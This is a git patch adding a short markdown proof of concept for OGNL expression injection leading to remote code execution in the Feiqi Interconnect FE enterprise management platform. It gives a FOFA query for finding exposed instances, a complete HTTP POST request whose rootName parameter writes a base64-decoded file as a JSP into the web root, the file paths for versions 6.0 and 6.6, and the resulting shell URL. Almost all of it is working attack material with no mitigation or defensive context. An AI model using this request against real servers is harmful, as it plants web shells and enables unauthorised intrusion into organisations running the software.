From 87b3fb823ab37e62ddea5cdfa6a2a461ff27c8ab Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 31 Dec 2023 22:36:17 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=A3=9E=E4=BC=81=E4=BA=92=E8=81=94Og?= =?UTF-8?q?nl=E8=A1=A8=E8=BE=BE=E5=BC=8F=E6=B3=A8=E5=85=A5=E5=AF=BC?= =?UTF-8?q?=E8=87=B4RCE.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 飞企互联Ognl表达式注入导致RCE.md | 36 ++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 飞企互联Ognl表达式注入导致RCE.md diff --git a/飞企互联Ognl表达式注入导致RCE.md b/飞企互联Ognl表达式注入导致RCE.md new file mode 100644 index 0000000..b1e2e92 --- /dev/null +++ b/飞企互联Ognl表达式注入导致RCE.md @@ -0,0 +1,36 @@ +## 飞企互联Ognl表达式注入导致RCE + +## fofa +``` +app="飞企互联-FE企业运营管理平台" +``` + +## poc +``` +POST /common/common_sort_tree.jsp;.js HTTP/1.1 +Host: xx.xx.xx.xx +Accept-Encoding: gzip, deflate +Content-Length: 174 +Accept-Language: zh-CN,zh;q=0.8 +Accept: */* +User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info +Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 +Connection: close +Referer: http://oa.meitrack.com:9090/ +Cache-Control: max-age=0 +Content-Type: application/x-www-form-urlencoded + +rootName={%25Thread.@fe.util.FileUtil@saveFileContext(new%20java.io.File("../server/default/deploy/fe.war/123.jsp"),new%20sun.misc.BASE64Decoder().decodeBuffer("d2hvYW1p"))%25} +``` + +## 版本文件路径 +6.6 +``` +../web/fe.war/123.jsp +``` +6.0 +``` +../server/default/deploy/fe.war/123.jsp +``` + +shell: http://xx.xx.xx.xx/123.jsp;